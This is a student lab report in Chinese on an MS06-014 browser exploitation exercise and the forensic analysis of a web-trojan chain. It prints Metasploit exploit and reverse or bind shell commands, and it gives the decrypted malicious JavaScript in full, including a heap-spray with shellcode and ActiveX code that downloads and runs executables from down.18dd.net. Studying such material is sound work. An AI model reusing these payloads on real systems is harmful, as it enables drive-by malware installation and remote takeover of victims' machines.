54
社区成员




本周的学习内容主要围绕web浏览器渗透攻击、取证分析以及攻防对抗实践展开。具体涵盖了以下几个关键点:
Web浏览器渗透攻击原理:学习了如何利用Metasploit等安全工具,针对web浏览器软件的安全漏洞进行渗透攻击,包括选择渗透攻击模块、设置payload、构造恶意网页木马脚本等步骤。
取证分析技巧:掌握了对网页木马攻击场景进行取证分析的方法,包括访问特定网页、解密文件地址、下载并分析文件内容(包括网页、脚本和二进制程序文件)等步骤。
攻防对抗实践:了解了在攻防对抗中,攻击方如何构造和混淆渗透攻击代码,并通过欺骗性电子邮件发送给防守方;防守方如何对邮件中的链接进行提取、解混淆分析,并恢复出渗透代码的原始形态,进而分析攻击的目标和漏洞。
实践内容
(1)web浏览器渗透攻击实践
使用Metasploit中的MS06-014渗透攻击模块,针对Windows靶机进行浏览器渗透攻击。
设置远程Shell连接作为PAYLOAD,构造恶意网页木马脚本。
在靶机浏览器中访问恶意网页URL,验证渗透攻击效果,并在Metasploit中查看渗透状态,通过SESSION远程执行命令。
(2)取证分析实践—网页木马攻击场景分析
访问start.html,根据其中提供的new09.htm地址进行进一步分析。
对解密出的文件地址进行32位MD5散列,下载并分析对应文件。
对网页或脚本文件继续解密,对二进制程序文件进行静态反汇编或动态调试。
重复上述过程,直至所有文件分析完成。
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方:使用Metasploit构造两个不同Web浏览端软件安全漏洞的渗透攻击代码,进行混淆处理并组装成URL,通过欺骗性电子邮件发送给防守方。
防守方:提取邮件中的挂马链接,进行解混淆分析,尝试恢复渗透代码原始形态,并分析攻击针对的Web浏览端软件和具体安全漏洞。
本部分使用kali和win2k两台虚拟机,两台主机均使用NAT模式连接至外网,我们先测试两台主机的连通性
win2K
kaliLinux
在kali中输入指令"msfconsole",打开Metasploit工具。输入指令"search MS06-014",搜索MS06-014渗透攻击模块,如下:
输入指令
use exploit/windows/browser/ie_createobject
使用相关模块
然后依次输入命令:
show payloads
set payload generic/shell_reverse_tcp
set Lhost 192.168.109.128
set Rhost 192.168.109.130
run
显然,图中可以看到有木马的网址http://192.168.109.128:8080/cPAlQQ
在win2k虚拟机中打开该网址
输入命令 sessions 查看是否为有效会话的连接
再输入命令 sessions -i 1 打开一个新会话,发现返回了靶机Win2k的shell,并输入 ipconfig 查看IP地址进行验证。
已经获取到Win2K主机的Shell,攻击成功。
用本地的记事本打开start.html,不难发现,指向了一个new09.htm的网址,如下:
在记事本中打开new09.htm
可以得到两个地址:http://aa.18dd.net/aa/kl.htm 和 http://js.users.51.la/1299644.js
对上述两个地址进行32位MD5运算
打开7f60672dcd6b5e90b6772545ee219bd3文件
打开23180a42a2ff1192150231b44ffdf3d3文件
可以看出第一个文件7f60672dcd6b5e90b6772545ee219bd3是被加密的js文件
由上图的t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'))可知,文件使用XXTEA+Base64进行了加密
变量t就是base64字符串,而\x73\x63\x72\x69\x70\x74则是密钥。对其进行十六进制解密,得到了密钥:script
使用https://sbox.cn/tool/xxtea 将其解密:
将解密的文件用16进制转文本转成文本
但转完后乱码,将其整理后显示具体内容为:
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
分析源代码,可以发现这些代码涉及到一些js文件,有:
http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab
对上述4个网页文件进行MD5计算
http://aa.18dd.net/aa/1.js MD5=5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js MD5=3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js MD5=5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab MD5=1c1d7b3539a617517c49eee4120783b2
打开5d7e9058a857aa2abee820d5473c5fa4文件,内容如下:
它是一个16进制字符串文件,需要将其转为文本文件
得到如下代码:
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
可发现这个文件会下载一个名为014.exe的可执行文件
查看3870c28cc279d457746b3796a262f166文件内容
分析信息可知开始函数中的六个参数 p,a,c,k,e,d 提示我们使用packed加密方法
得到如下代码:
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)
发现关键字shellcode,这里很可能是一个下载器,对于一个下载器来说,必不可少的一项内容就是要下载的内容的URL,不妨找找这加密的代码里有URL特征的字符串。首先这是一串Unicode字符串,我们需要将 Unicode 转义序列转换为它们各自的字符。
iF el A th pt /: d/ wo .n 81 dd n. te b/ /b fb e. ex \0
进一步将其分解,可以看出这是一个URL:http://down.18dd.net/bb/bf.exe
紧接着打开打开5f0b8bf0385314dbe0e5ec95e6abedc2文件分析,如下:
发现其为一个8进制文件,将其转为文本:
使用Eval解码得到代码:
发现关键字shellcode,这里很可能是一个下载器,对于一个下载器来说,必不可少的一项内容就是要下载的内容的URL,在加密的代码里找到有URL特征的字符串。根据URL中必然出现的斜线“/”,“/”的十六进制ASCII码是2F,那么我们就寻找里边的“2F”即可。
在这里推测从第三个2f开始到末尾的部分可能为网址或者是网址的一部分,转换后
发现推测正确,得到网址:http://down.18dd.net/bb/pps.exe 该链接会下载pps.exe文件
计算三个文件:014.exe、bf.exe、pps.exe文件的md5值如下:
http://down.18dd.net/bb/014.exe :ca4e4a1730b0f69a9b94393d9443b979
http://down.18dd.net/bb/bf.exe :268cbd59fbed235f6cf6b41b92b03f8e
http://down.18dd.net/bb/pps.exe :ff59b3b8961f502289c1b4df8c37e2a4
然后按照 http://192.168.68.253/scom/hashed/MD5 值的格式下载文件,得到014.exe、bf.exe、pps.exe这三个可执行文件。
找到相关文件,不难发现大小均相同,接着计算三个文件的md5值,发现一致,因此这三个文件为同一文件。
http://down.18dd.net/bb/bd.cab 是下载一个压缩文件 bd.cab
将该文件进行解压缩,可得到bd.exe文件
校验这四个文件内容的 MD5 值,发现都是 1290ecd734d68d52318ea9016dc6fe63 ,可知4个文件完全相同,所以只需要研究其中一个即可。用PEid软件打开任意一个exe文件,发现其是Delphi语言写的。
用IDA进行反编译,在Strings Window中发现了若干个用于下载的exe文件链接,应该都是木马文件
使用w32DAsm对其进行反汇编
上图可知这个程序会不断的进行try尝试,并且会对系统进行修改,最后会下载程序中包含的所有木马病毒攻击系统
本次实验由我和20231908余卓洲共同完成
(1)作为攻击方:
攻击方主机(20231914严梓洋)
防守方主机(20231906余卓洲)
启动msfconsole,进行针对MS06-014漏洞进行的攻击
输入指令
use exploit/windows/browser/ie_createobject
set payload windows/shell/bind_tcp
set lhost 192.168.1.110
set RHOST 192.168.1.102
exploit
通过电子邮件将构造的钓鱼网站 http://192.168.1.110:8080/yqladLvaE6 发给防守方同学,防守方同学点进去网站以后终端会出现"command shell session 1 opened"的字样,紧接着输入指令
sessions
sessions -i 1
打开会话,并用ipconfig查看IP地址进行验证,发现获取到防守方的Shell
(2)作为防守方 :
攻击方主机(20231906余卓洲)
防守方主机(20231914严梓洋)
访问攻击方发来的钓鱼网址http://192.168.1.107:8080/dCb6eh0uO
查看该网页的源文件
在物理机上打开网址:https://www.bejson.com/jshtml_format/?_t=t 使用工具对网页源代码进行压缩,如下:
发现该恶意代码调用了document.location运行攻击载荷,并且附加了可执行文件dCb6eh0uO.exe,该文件下载后会运行在后台,同时还会不断变化自己的运行程序PID,躲避查杀。
查看任务管理器,发现存在该exe文件,且在运行中
百度查询压缩后的代码中的相关Array,发现确实为MS06-014漏洞
经过实验,我成功地从电子邮件中提取了挂马链接,并对其进行了有效的解混淆分析。我恢复了渗透代码的原始形态,并分析了这些代码所针对的Web浏览端软件的安全漏洞。这些分析结果表明,网络攻击者利用了多种Web浏览端软件的安全漏洞进行渗透攻击。
通过这次实践,我深刻体会到了网络安全的重要性以及网络攻击者的狡猾。这么旧版本的漏洞尚且可以获取root权限,何况现在层出不穷的攻击手段,仅仅依靠安全软件和防火墙是无法完全防范网络攻击的,我们需要不断提高自身的网络安全意识,学习更多的网络安全知识,才能更好地保护自己的信息安全。
同时,我也意识到了网络安全工作的复杂性和挑战性。在未来的学习和工作中,我将继续深入学习网络安全知识,提高自己的网络安全技能,为网络安全事业贡献自己的力量。